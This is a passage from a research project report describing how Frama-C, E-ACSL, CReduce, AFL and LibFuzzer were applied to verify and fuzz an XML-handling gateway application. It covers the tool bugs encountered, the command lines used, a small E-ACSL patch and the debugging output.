18 At this stage, let us only point out that these libraries will be at the origin of many issues when attempting to apply 
fuzzing procedures. 



 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 30 of 147 

During our verification activities, we faced several issues in the tools, for which it was necessary to 
build up a reduced non-confidential source code which could be forwarded to the tool editors: only 
obfuscated or sufficiently “shrinked” code could be disseminated. From the tool provider 
standpoint, it is of course much efficient to debug its tools with a short and sufficiently illustrative 
code sample to reproduce the bug. 

However, reducing the code can sometimes be very time-consuming, and after some experiments, 
we decided to use a dedicated tool: CReduce19 which was recommended by the CEA. This tool is 
powerful and simple to use. Of course, it cannot help anymore if the bug is nested into some 
external libraries for which the source code is not available (which often occurred during our case 
studies analyses). 

As an introduction, let us present the typical script aiming at using creduce for Frama-C issue 
isolation: 

 

#==================================================================== 

# CREDUCE 

#==================================================================== 

a=`find . -name "*.i"` # collect your source code 

echo "reduction de : " $a 

 

rm -Rf CREDUCE 

mkdir CREDUCE 

cp $a CREDUCE 

cd CREDUCE 

 

# put this script in a shell file 

cat > pour_creduce.sh << EOF 

! frama-c *.i > LOG 2>&1 && grep -e "ERROR MESSAGE YOU WANT TO CATCH" LOG  2>&1 

EOF 

 

chmod a+x pour_creduce.sh 

 

# then launch: 

creduce ./pour_creduce.sh *.i 

 

#==================================================================== 

 

The above string “ERROR MESSAGE YOU WANT TO CATCH” should contain the significant part of the 
exception or error message raised (by Frama-C in our case). This will be the discriminating factor 
between two successive versions of the reduced code. 

This hopefully results in a C reduced file, expected to reproduce the very same error message. 

This file can then be forwarded to the tool support team (after a last manual review 
ensuring that no confidential program or data might still be present inside!). 

In the following, we will refer to the script above when facing an issue requiring code reduction for 
bug reporting. 

 

So let us go back to the CURSOR procedure. The first step consists in analysing the whole source 
code with Frama-C GUI in order to ensure that it is duly “readable” for the analysis tool. 

  

                                                

19 https://embed.cs.utah.edu/creduce 

https://embed.cs.utah.edu/creduce
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This is as simple as: 

 

 

$ frama-c-gui *.i 

 

 

Already a lot of information is available on the console after this first insight in the code, and some 
further analyses could be launched directly from the interface or the command line. 

Note that at this stage, Frama-C Kernel will generate a default declaration for functions not 
previously declared in the code. This is an issue when dealing with GCC builtins: the 
declaration automatically added by the kernel is generally not compliant with the usage of 
the corresponding builtin. This leads to a type error raised by the Frama-C Kernel. Then we 
had to insert the GCC builtin declarations at the top of each source code modules as a 
quick workaround.  

Typically, GCC’s __bultin_strlen is generally not declared by the developer, and then 

Frama-C Kernel will automatically generate a default declaration like “int 

__builtin_strlen(int);” which obviously does not fit the required one for a “strlen”-like 
function. 

We will not elaborate more on this point, as the reader accustomed to GCC compilation will 
easily understand and get around the issue. 

 

At this step, we try to analyse the code with E-ACSL: 

#==================================================================== 

# E-ACSL 

#==================================================================== 

 

e-acsl-gcc.sh -k -q -c -M -L --rte=all \ 

-O gateway.eacsl complement.c *.i \ 

--frama-c-extra="-no-frama-c-stdlib" \ 

-l /usr/lib/x86_64-linux-gnu/libXXXXX.so /usr/lib/x86_64-linux-gnu/libYYYYY.so ... -e "-

I/usr/include/libZZZZZ" 

 

At the end of the process, two binaries are built: one with the E-ACSL instrumentation of the code 
(i.e. the automatic translation of properties as executable statements), and the other one without 
any instrumentation. 

 

Note that during the execution of e-acsl-gcc.sh script, the command lines for both compilations 
are displayed on the console, which can be exploited later when “things go wrong” after compiling: 

+ gcc -I/usr/include/libxmlYYY -D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -

DXMLSEC_NO_GOST=1 -DXMLSEC_NO_GOSTZZZZ=1 -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -

I/usr/include/xmlsecXXX -I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include 

-std=c99 -m64 -g -O2 -fno-builtin -fno-merge-constants -Wall -Wno-long-long -Wno-

attributes -Wno-nonnull -Wno-undef -Wno-unused -Wno-unused-function -Wno-unused-result -

Wno-unused-value -Wno-unused-function -Wno-unused-variable -Wno-unused-but-set-variable -

Wno-implicit-function-declaration -Wno-empty-body ...files_to_compile... -o gateway.exe -

lxmlXXX -L/usr/lib/x86_64-linux-gnu -lxmlsecXXX-openssl -lxmlsecXXX -lxslt -lxmlXXX -

lforcryptography 

 

+ gcc -DE_ACSL_BITTREE_MMODEL -DE_ACSL_NO_ASSERT_FAIL -DE_ACSL_STACK_SIZE=32 -

DE_ACSL_HEAP_SIZE=128 -std=c99 -m64 -g -O2 -fno-builtin -fno-merge-constants -Wall -Wno-

long-long -Wno-attributes -Wno-nonnull -Wno-undef -Wno-unused -Wno-unused-function -Wno-

unused-result -Wno-unused-value -Wno-unused-function -Wno-unused-variable -Wno-unused-

but-set-variable -Wno-implicit-function-declaration -Wno-empty-body -
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I/usr/include/libxmlYYY -D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -

DXMLSEC_NO_GOST=1 -DXMLSEC_NO_GOSTZZZZ=1 -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -

I/usr/include/xmlsecXXX -I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include 

-I/usr/local/bin/../share/frama-c/e-acsl/ -o gateway.eacsl.exe gateway.eacsl.c 

/usr/local/bin/../share/frama-c/e-acsl//e_acsl_rtl.c -lxmlXXX -L/usr/lib/x86_64-linux-gnu 

-lxmlsecXXX-openssl -lxmlsecXXX -lxslt -lxmlXXX -lforcryptography 

/usr/local/bin/../lib/libeacsl-dlmalloc.a /usr/local/bin/../lib/libeacsl-gmp.a -lm 

This permits to replay some steps of the compilation, one by one, and try with other options. 

Typically, we found in one of our library code, hundreds of array declaration about an incomplete 
(XML parser) type: 

 

extern const xmlChar xmlXXXXX[]; 

extern const xmlChar xmlYYYYY[]; 

... 

 

In the declaration above, the size of the arrays is not known at this step of the compilation. 

This cannot be modified in the source code, because this code may change over time, and we 
must avoid – for efficiency purpose – costly “by-hand” modifications. And more over this particular 
external code is not under the responsibility of DA. 

Namely, EVA plugin informs us that this type is incomplete, and in case there is no internal 
accurate definition of the type, then the size of the array will be 232 by default. 

On its side, E-ACSL plugin does not accept this construct because it cannot determine the actual 
size of the array at the build of the instrumented code. 

The only solution we opt for modifying the E-ACSL plugin in such way it is possible to cope with 
this incomplete array type. In a first step, as the need is so far specific to the code under analysis, 
the E-ACSL plugin issue is fixed by DA only. This fix consists in removing the following typical 
statement included in the C code instrumented by E-ACSL, as it is not possible to compute the 
sizeof() of the corresponding incomplete type array: 

 

  __e_acsl_store_block((void *)(& xmlXXXXX), 

                       sizeof(xmlChar const [])); 

... 

 

 

This removal is automated by a script quickly written for the hundreds of arrays concerned 
with this issue. 

Note: later in the project, the CEA provided a fix for these issues related to incomplete array 
type constructs. 

 

 

Now, we can launch again the e-acsl-gcc.sh script: 

 

$ e-acsl-gcc.sh -k -c --rte=div -o gateway.eacsl.c -O gateway.exe --oexec-e-

acsl=gateway.eacsl.exe ...files_to_compile... -E "-e-acsl-no-validate-format-strings" -e 

"-I/usr/include/libxmlYYY -D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -

DXMLSEC_NO_GOST=1 -DXMLSEC_NO_GOSTZZZZ=1 -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -

I/usr/include/xmlsecXXX -I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -

I/usr/include" -l "-lxmlXXX -L/usr/lib/x86_64-linux-gnu -lxmlsecXXX-openssl -lxmlsecXXX -

lxslt -lxmlXXX –lforcryptography" 
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Unfortunately, gateway.eacsl.exe (the instrumented executable generated by E-ACSL) yields a 

segfault exception at runtime. This exception cannot be presented in extension as it shows 
information about the application under verification. 

In a first step, we try to progressively instrument the source code, directly in the C source code in 

order to investigate this segfault. But this approach fails: our C source code main function entry 
point is not even reached when running the executable. 

As another try to investigate the problem, we use CReduce, to namely reduce the C code to a 
smaller part which could be hopefully exported to the E-ACSL development team. 

As presented earlier, we create a similar CReduce folder and script as follows: 

 

rm -Rf CREDUCE 

mkdir CREDUCE 

cd CREDUCE 

cp ../gateway.eacsl.c . 

cp -R ../resources . 

cp -R ../Conf . 

 

# to be put in a shell script : 

cat > pour_creduce.sh << EOF 

gcc -DE_ACSL_SEGMENT_MMODEL -DSHORT -DE_ACSL_NO_ASSERT_FAIL -DE_ACSL_STACK_SIZE=32 -

DE_ACSL_HEAP_SIZE=128 -std=c99 -m64 -g -O2 -fno-builtin -fno-merge-constants -Wall -Wno-

long-long -Wno-attributes -Wno-nonnull -Wno-undef -Wno-unused -Wno-unused-function -Wno-

unused-result -Wno-unused-value -Wno-unused-function -Wno-unused-variable -Wno-unused-

but-set-variable -Wno-implicit-function-declaration -Wno-empty-body -

I/usr/include/libxmlYYY -D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -

DXMLSEC_NO_GOST=1 -DXMLSEC_NO_GOSTZZZZ=1 -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -

I/usr/include/xmlsecXXX -I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include 

-I/usr/local/bin/../share/frama-c/e-acsl/ -o gateway.eacsl.exe gateway.eacsl.c 

/usr/local/bin/../share/frama-c/e-acsl//e_acsl_rtl.c -lxmlXXX -L/usr/lib/x86_64-linux-gnu 

-lxmlsecXXX-openssl -lxmlsecXXX -lxslt -lxmlXXX -lforcryptography 

/usr/local/bin/../lib/libeacsl-dlmalloc.a /usr/local/bin/../lib/libeacsl-gmp.a -lm  

./gateway.eacsl.exe -d examplesFiles/folderForTests/ 

ret=$? 

if [ $ret -eq 139 ];  

then exit 0 ; 

else exit 1;  

fi 

EOF 

 

chmod a+x pour_creduce.sh 

 

# then launch the following to reduce the c file: 

creduce ./pour_creduce.sh gateway.eacsl.c 

But this approach also fails: the code generated by CReduce is empty. 

The next step for us is to use GDB, the GNU debugger (as the code is compiled with –g option, the 
compiler adds some useful information for debugging purpose). 

What we find so far is that the segfault is caused by libraries linked with our source code. 

Investigating on the Internet, we find that these libraries make use of constructors during the 
loading. Roughly presented, as soon as the operating system loads the executable, some locations 
are allocated in memory. However, the shadow memory model implemented by default by E-ACSL 
keeps track of these zones: after investigations on our side, it appears that E-ACSL 

shadow_alloca() library function is called before any E-ACSL initialisation. This seems to be the 
source of the exception, and the CEA later confirmed this issue. Thus, the CEA developed a fix for 
this problem (see BTS 0002415 for details, in Annex 5).  

 

 



 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 34 of 147 

What to fuzz? 

After these first tries, the next step is one of the most important. We have to decide, for the 
application under verification, which inputs will be fuzzed. This is a question that could not be 
answered without considering the program to be fuzzed, and is indeed strongly related to 
cybersecurity threat analysis and dreaded attack scenarios. 

The direction chosen is to consider first and only, for the sake of the experimentations in the scope 
of VESSEDIA, the inputs (data and files) which could be under the control of an attacker close to 
the starting point of the program execution. 

Then the “taintable” dataflows in the source code are rapidly identified. These dataflows will be 
fuzzed intensively, and in order to cover most of the code structure. This coverage is somehow 
also depending in the potential alarms raised by the static analysis tools: when these alarms are 
translated as executable statements, corresponding “if” control flows will be produced. Typically 
the fuzzer will try to cover these additional control flows. 

In our Use Case, we found several data to be fuzzed (for instance, input parameters at the entry 
point of the application, and input files). 

To do so, we need to modify slightly the bunch of source code in order to permit the fuzzing of 
these data, by adding classical test harnesses (these modifications are not presented for 
confidentiality reasons). 

Before applying E-ACSL process (as documented in CURSOR), we check that EVA is able to 
analyse the code: 

 

$ frama-c-gui -eva -eva-no-alloc-returns-null -eva-context-valid-pointers -eva-memexec -

eva-min-loop-unroll 3 -eva-remove-redundant-alarms -eva-slevel 300 -variadic-no-

translation -machdep gcc_x86_64 -no-frama-c-stdlib complement.c *.i  

 

Unfortunately, this Frama-C analysis shows a lot of dead code20 under the GUI (code declared as 
unreachable by EVA plug-in). After investigation, it appears that some of the fuzzed data are 
related to each other. As a very simple example, if one fuzzes a string input S, and another input of 
the same function is the length of the same string S, these two inputs must be consistent. We 
added some modifications to fix this kind of problem in the code, then ensuring cross-consistency 
of the inputs. 

Another source of dead code is caused by __builtin_* functions largely used in our gateway 

application. These builtins are not declared into Frama-C frama-c-stdlib annotated declarations, 
and need some additional code and annotations.  

One simple solution at this stage is to apply Frama-C RTE plug-in (annotating code for RunTime 
Errors) instead of EVA: this time the code can be analyzed entirely with no impact of potential dead 
code. This is the case also for portions of code for which a better defined initial state would be 
necessary21. 

 

$ frama-c-gui -rte -variadic-no-translation -machdep gcc_x86_64 -frama-c-stdlib 

complement.c *.i -then -print -ocode annotated_code.c 

 

 

                                                

20 Briefly said, and to clarify the point, our code is not critical in terms of safety, then dead code is 

not forbidden. 
21 This is often the case when using context sensitive abstract interpretation procedure on source 

code: intuitively, a more (functionally) accurate initial domain of value for the inputs will yield more 
precise results and may help avoid dead code. 
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Note that the potentially redundant annotations added by RTE will be validated by EVA: this is 
important to get rid of these duplicate annotations as they will be translated as executable 
statements when applying E-ACSL plug-in later in the process. For performance at runtime, it is of 
course recommended to avoid unnecessary extra-code. 

The Frama-C command line is then: 

 

$ frama-c-gui -eva -eva-context-valid-pointers -eva-memexec -eva-min-loop-unroll 3 -eva-

remove-redundant-alarms -eva-slevel 300 -variadic-no-translation -machdep gcc_x86_64 -

frama-c-stdlib annotated_code.c -then -print -ocode annotated_code_eva.c & 

 

 

However, we must ensure that some annotations are not considered as valid just because they 
belong to dead code (an annotation which is in dead code is considered, for short, in a false 
branch of the program, then any logical expression belonging to this false branch will be assessed 
as true: said differently, having false in the context permits to validate everything downstream in 
the code and annotations). 

This point is important as the annotations considered as valid will not be translated as executable 
statements by E-ACSL, by default. However, we do not want to use the option in E-ACSL which 
permits to generate executable statements even for valid annotations: this will enlarge the code 
size with spurious alarms translated as statements, and then we would obtain a very inefficient 
impact on the execution time during the fuzzing. 

Then our problem is the following: we want to generate the code for valid annotations only when 
they belong to a dead code branch of the program (as dead code does not mean that this code will 
never be executed – given the initial state approximation). This feature is however not available in 
E-ACSL. 

We then push a request for a new feature in E-ACSL which is defined as described in BTS 
0002425 in Annex 5. 

After some investigations in E-ACSL OCaml code on our side, we found possible to make E-ACSL 
process Valid_but_dead annotations by means of the following small patch for e-

acsl/keep_status.ml code: 

 

... 

let push kf kind ppt = 

(*  Options.feedback "PUSHING %a for %a" 

    pretty_kind kind 

    Kernel_function.pretty kf;*) 

  (* no registration when -e-acsl-check or -e-acsl-valid *) 

  if not (!option_check || !option_valid) then 

    let keep = 

      let open Property_status in 

      match get ppt with 

      | Never_tried 

      | Inconsistent _ 

      | Best ((False_if_reachable | False_and_reachable | Dont_know), _) -> 

        true 

      | Best (True, _) -> 

 

(* ===> begin patch *) 

 (match Property_status.Consolidation.get ppt with 

 | Property_status.Consolidation.Valid_but_dead _  

 | Property_status.Consolidation.Invalid_but_dead _  

 | Property_status.Consolidation.Unknown_but_dead _ -> true 

 | _ -> false 

 ) 

(* <=== end patch *) 

... 
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In one hand, this patch does not put too much lag during E-ACSL-ised code testing, as if the 
annotations are really in dead code, this code won't even be reached and executed. 

In the other hand, if the annotations are considered as Valid only because they are in spurious 
dead code, the annotations are then translated as executable statements. 

As the reader would notice, the CURSOR process now needs to put in sequence several analyses 
by different plug-ins. To keep the results for E-ACSL from an analysis to the next one, we need to 

use the “-e-acsl-prepare” option. The command line looks like from now: 

 

$ frama-c -e-acsl-prepare complement.c my_assert.c *.i -rte -variadic-no-translation -

machdep gcc_x86_64 -frama-c-stdlib \ 

 -eva -eva-context-valid-pointers -eva-memexec -eva-min-loop-unroll 3 -eva-remove-

redundant-alarms -eva-slevel 300 \ 

 -then -print -ocode all.c 

 

 

So far, we are able to generate the source code for both CURSOR-ised and not CURSOR-ised 
programs with all required annotations: 

 

$ e-acsl-gcc.sh -k -c --rte=all -o gateway.eacsl.c -O gateway.exe --oexec-e-

acsl=gateway.eacsl.exe complement.c my_assert.c *.i --frama-c-extra="-wp -wp-timeout 5 -

remove-unused-specified-functions" --e-acsl-extra="-e-acsl-no-validate-format-strings" --

cpp-flags="-I/usr/include/libxmlYYY -DE_ACSL_EXTERNAL_ASSERT -

D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -

DXMLSEC_NO_GOSTZZZZ=1 -D__builtin_strlen=strlen -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -

I/usr/include/xmlsecXXX -I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -

I/usr/include" --ld-flags="-lxmlXXX -L/usr/lib/x86_64-linux-gnu -lxmlsecXXX-openssl -

lxmlsecXXX -lxslt -lxmlXXX -lforcryptography" 

 

 

We can notice in the command line above that we added a call to the Frama-C WP plug-in. This is 
intended to apply an additional theorem proving step at the process in order to validate – if 
possible – even more annotations before the E-ACSL translation of annotations into executable 
statements. Clearly, this aims at alleviating the number of annotations to be translated as 
additional statements in the code. 

Another issue is that we may have RTE + EVA analyses making some strong assumptions (on 
pre- or post-conditions) on library functions for which we do not have the source code 
implementation but only the API (as external function declarations). These assumptions may 
introduce annotations (alarms) not validated during executions, then potentially inducing spurious 
counter-measure statements. 

 

To elaborate on that point, let us take a toy-example: 

typedef struct { char * champ; } las; 

 

extern char * f(las * l); 

 

int m() 

{ 

las * x; 

f(x); 

printf("%s\n",x->champ); 

return 0; 

} 

where function f is supposed to belong to an external library. 
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This code is analyzed with: 

 

$ frama-c-gui e.c -main m -lib-entry -e-acsl-prepare -rte -then -e-acsl  

 

 

TE generates this annotation: 

/ *@ assert rte: mem_access: \valid_read(&x->champ); * / 

   printf("%s\n",x->champ); 

The field “champ” is supposed to be valid for reading before running printf(). But the 

corresponding assert cannot be discharged as the external function f is not intended to be 
annotated by hand (in a push-button approach of CURSOR), and there is no other way to deduce 
from the library function f() that the field “champ” will be allocated in memory. 

 

The code generated by E-ACSL after instrumentation is: 

int m(void) 

{ 

   int __retres; 

   las *x; 

   __e_acsl_memory_init((int *)0,(char ***)0,(size_t)4); 

   __e_acsl_globals_init(); 

   __e_acsl_store_block((void *)(& x),(size_t)4); 

   f(x); 

   / *@ assert rte: mem_access: \valid_read(&x->champ); * / 

   { 

     { 

       int __gen_e_acsl_valid_read; 

       __gen_e_acsl_valid_read = __e_acsl_valid_read((void *)(& x->champ), 

                                                     sizeof(char *), 

                                                     (void *)(& x->champ), 

                                                     (void *)0); 

       __e_acsl_assert(__gen_e_acsl_valid_read,(char *)"Assertion",(char *)"m", 

                       (char *)"rte: mem_access: \\valid_read(&x->champ)",12); 

     } 

     printf(__gen_e_acsl_literal_string,x->champ); 

   } 

   __retres = 0; 

   { 

     __e_acsl_delete_block((void *)(& x)); 

     __e_acsl_memory_clean(); 

     return __retres; 

   } 

} 

 

The \valid_read alarm in the code above, just before the printf() statement, will be translated as 
an executable statement by E-ACSL. This is of course the normal behaviour of the tool.  

But as we will elaborate later in this chapter, we would like to make strong assumptions about the 
validity of dataflows manipulated by libraries linked with our code, to avoid too many additional E-
ACSL statements which could slow down the fuzzing executions. Of course, this will have a strong 
impact on the “soundness” of the verification. But we definitely have to trade-off between a sound 
analysis and a good coverage provided by the fuzzing activities. In some extent we could also 
expect that if weaknesses are present in the libraries (and not encompassed by defensive 
programming), they could also be caught by intensive fuzzing (we will discuss more in depth these 
considerations later in this report). 
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From now on, we can launch AFL compilation: 

 

$ afl-gcc -DE_ACSL_SEGMENT_MMODEL -DE_ACSL_NO_ASSERT_FAIL -DE_ACSL_STACK_SIZE=32 -

DE_ACSL_HEAP_SIZE=128 -std=c99 -m64 -fno-builtin -fno-merge-constants -Wall -Wno-long-

long -Wno-attributes -Wno-nonnull -Wno-undef -Wno-unused -Wno-unused-function -Wno-

unused-result -Wno-unused-value -Wno-unused-function -Wno-unused-variable -Wno-unused-

but-set-variable -Wno-implicit-function-declaration -Wno-empty-body -

I/usr/include/libxmlYYY -DE_ACSL_EXTERNAL_ASSERT -D__XMLSEC_FUNCTION__=__func__ -

DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -DXMLSEC_NO_GOSTZZZZ=1 -

DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsecXXX -I/usr/include/libxmlYYY -

DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include -I/usr/local/bin/../share/frama-c/e-acsl/ -o 

gateway.eacsl.exe gateway.eacsl.c /usr/local/bin/../share/frama-c/e-acsl//e_acsl_rtl.c -

lxmlXXX -L/usr/lib/x86_64-linux-gnu -lxmlsecXXX-openssl -lxmlsecXXX -lxslt -lxmlXXX -

lforcryptography /usr/local/bin/../lib/libeacsl-dlmalloc.a 

/usr/local/bin/../lib/libeacsl-gmp.a –lm 

 

 

And the linkage and fuzzing: 

afl-as 2.52b by <lcamtuf@google.com> 

[+] Instrumented 1425 locations (64-bit, non-hardened mode, ratio 100%). 

afl-as 2.52b by <lcamtuf@google.com> 

[+] Instrumented 5118 locations (64-bit, non-hardened mode, ratio 100%). 

 

$ sudo su 

$ echo core >/proc/sys/kernel/core_pattern 

$ cd /sys/devices/system/cpu 

$ echo performance | tee cpu*/cpufreq/scaling_governor 

$ exit 

$ sudo -k 

 

$ afl-fuzz -i in -o out ./gateway.eacsl.exe -d examplesFiles/folderForTests/ -a @@ 

 

But AFL returns a new error: 

[-] Hmm, looks like the target binary terminated before we could complete a 

    handshake with the injected code. 

 

We apply once again the creduce process to get the smallest source code producing this error and 
try to understand its meaning. 

creduce ./pour_creduce.sh gateway.eacsl.c 

But creduce cannot be applied in this case: there is a crash which is not handled by creduce 
instrumentation and which does not allow us to reduce the source code. 

This only happens with the code processed by E-ACSL (the other original code can be fuzzed with 
no particular issue).  

We have then to investigate on our side to understand where the issue comes from: 

$ afl-showmap -o LOG -- ./gateway.eacsl.exe -d examplesFiles/folderForTests/ -a 

in/package_sign_F86MPDSL.xml 

afl-showmap 2.52b by <lcamtuf@google.com> 

[*] Executing './gateway.eacsl.exe'... 

 

-- Program output begins -- 

./gateway.eacsl.exe: error while loading shared libraries: libicudata.so.57: failed to 

map segment from shared object 

-- Program output ends -- 

 

[-] PROGRAM ABORT : No instrumentation detected 

         Location : main(), afl-showmap.c:773 
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This seems related to the memory allocation performed by E-ACSL instrumentation: namely the 
program hits one of the limitations related to shared memory allocation. Moreover, the error signals 

are apparently emitted too early in the execution process to be caught, which is confirmed by gdb 
(not detailed here). Then the slicing/reducing of this code is done by hand. However, even this 
latter does not yield successful results: it is not possible to isolate easily the statements at the 
origin of the issue, even after a certain amount of time and effort. 

Thus, this approach is abandoned, and another solution is investigated, based on LLVM 
LibFuzzer22: a fuzzer implementing an in-process approach, included in LLVM / Clang compiling 
toolchain. 

As presented earlier, in-process fuzzing permits to deal efficiently with persistent network 
connections, and more generally to improve the coverage by efficiently decreasing the execution 
time of the fuzzing tests. 

We have then to insert the following typical code into the original source code, which calls the 
function to be fuzzed: 

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

// ... 

f(Data,Size); 

// ... 

return 1; 

} 

This function must be considered as the entry point of the fuzzing. It receives inputs automatically 

mutated23 by a main() function implemented in LLVM/LibFuzzer. The two input parameters, Data 

and Size, contain respectively an array of unsigned integers, and the size of this array. They are 

passed to the function f(), which should be chosen in order to address the network persistency 
constraint (with only one open/close connection operation for several write/read input steps): 

 

 

 Figure 6:Difference between multiple and persistent connections 

 

Then, a toy-code is compiled as a first try: 

 

$ clang-X.0 -fsanitize=fuzzer ex.c -o ./ex 

 

and executed by passing a folder (or a file) containing the initialization tests from which the 
mutations could start (the same principle as for AFL): 

./ex in/ 

                                                

22 https://llvm.org/docs/LibFuzzer.html  
23 LibFuzzer is based on a genetic, evolutionary, algorithm. 

https://llvm.org/docs/LibFuzzer.html
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In complement, we need to extract complementary dictionary for the kind of file which will be 
fuzzed, similarly to AFL: it avoids fuzzing parts of the file which are not of any interest for us at this 
stage. This is the case for XML files for which tags are checked by the parser, and may not contain 
vulnerabilities (with some potential exceptions indeed regarding XML tag attributes). Then we only 
focus the fuzzing on the contents of the tags.  

 

To obtain a dictionary of all terms (tags) not to be fuzzed, we implement a simple Python3 script: 

 

import xml.etree.ElementTree as ET 

 

# get and parse the file 

xmlFileTree = ET.parse('theFile.xml') 

 

list_of_elements = [] 

 

# append each tag in the list of elements 

for elem in xmlFileTree.iter(): 

  list_of_elements.append(elem.tag) 

 

list_of_elements = list(set(list_of_elements)) 

 

# printing the list of elements, one by one with double quotes  

# as required in LibFuzzer dictionnary syntax 

for oneElem in list_of_elements: 

  print(“\””+oneElem+”\””) 

 

This script generates a dictionary ad hoc to a given input xml file. When fuzzing with LibFuzzer (or 
AFL), one just has to add to the command line: -dict=DICTIONARY_FILENAME. 

 

When launching the gateway application, instrumented by E-ACSL and LibFuzzer, an exception is 

however still raised (segfault): 

 

$ ./gateway.eacsl.exe  

 

INFO: Seed: 1560486915 

INFO: Loaded 1 modules   (656 inline 8-bit counters): 656 [0x6931f0, 0x693480),  

INFO: Loaded 1 PC tables (656 PCs): 656 [0x47e808,0x481108),  

INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes 

UndefinedBehaviorSanitizer:DEADLYSIGNAL 

==4539==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 

0x0000004652e9 bp 0x7ffd3cfae460 sp 0x7ffd3cfae270 T4539) 

==4539==The signal is caused by a WRITE memory access. 

==4539==Hint: address points to the zero page. 

    #0 0x4652e8  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x4652e8) 

    #1 0x4684c7  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x4684c7) 

    #2 0x46121d  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x46121d) 

    #3 0x418537  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x418537) 

    #4 0x42217b  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x42217b) 

    #5 0x4242e2  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x4242e2) 

    #6 0x4137cc  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x4137cc) 

    #7 0x4066b2  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x4066b2) 

    #8 0x7fd92381bb96  (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) 
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    #9 0x406709  

(/home/unity/Desktop/Vessedia/G2P.20181123/COMPIL/ESSAI/gateway.eacsl.exe+0x406709) 

 

With the following callstack computed by GDB: 

(gdb) bt 

#0  shadow_alloca (ptr=0x7ffff6e61760 <_IO_2_1_stdout_>, size=216) 

    at /usr/local/bin/../share/frama-c/e-acsl/segment_model/e_acsl_segment_tracking.h:548 

#1  0x00000000004684c8 in __e_acsl_memory_init (argc_ref=0x0, argv_ref=0x0, ptr_size=8) 

    at /usr/local/bin/../share/frama-c/e-acsl/segment_model/e_acsl_segment_mmodel.c:235 

#2  0x000000000046121e in LLVMFuzzerTestOneInput (Data=0x7fffd2ee7b80 "\220XG", Size=0) 

at gateway.eacsl.c:136 

#3  0x0000000000418538 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned 

long) () 

#4  0x000000000042217c in 

fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char, 

std::char_traits<char>, std::allocator<char> >, 

fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, 

std::allocator<char> > > > const&) 

    () 

#5  0x00000000004242e3 in 

fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, 

std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, 

std::char_traits<char>, std::allocator<char> > > > const&) () 

#6  0x00000000004137cd in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char 

const*, unsigned long)) () 

#7  0x00000000004066b3 in main () 

 

After an accurate debug processing, we obtain that the E-ACSL sec_shadow (secondary shadow 

array) has a NULL value. This is part of E-ACSL memory management indeed. 

A bug report is recorded and CEA is contacted about this issue. The CEA’s diagnosis is that the 
problem comes from the management of big memory sizes.  

Namely, in E-ACSL, the layout of memory is the following:  

 

  -----------------------------------------> Stack End 

   Stack [ Grows downwards ] 

  -----------------------------------------> 

   Thread-local storage (TLS) 

  -----------------------------------------> 

   Shadow memory [ Heap, Stack, Global, TLS ] 

  -----------------------------------------> 

   Object mappings 

  -----------------------------------------> 

  -----------------------------------------> 

   Heap [ Grows upwards ] 

  -----------------------------------------> Heap Start 

 

If one of these zones (Stack, TLS, Shadow, ...) is too big, it will overflow on one of the contiguous 
zones. This is the issue met earlier. 

After an in-depth analysis and diagnosis of the application and the issues met with the E-ACSL 
plug-in, DA suggests developing an extension in E-ACSL permitting to: 

- define a white list of functions which will be analyzed by the plug-in (and only them); 

- disable the traceability of memory management for the functions not in the white list above (then 
avoiding calls to shadow_alloca() and other E-ACSL memory functions), in order to avoid that 
libraries for which the source code is neither available nor candidate to annotations nor 
modifications, could be traced by the E-ACSL plug-in; 
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- add a parameter when calling __e_acsl_assert() (the external assert management function 
defined by the final user) so that it is possible to determine if the assert could be either valid or 
invalid, or indeterminate: this means that some parameters used by the predicate may be updated 
by functions not in the white list, but however exploited by the code under analysis. This will permit 

to differentiate the assert function behaviour according to the status (into the __e_acsl_assert() 
function). 

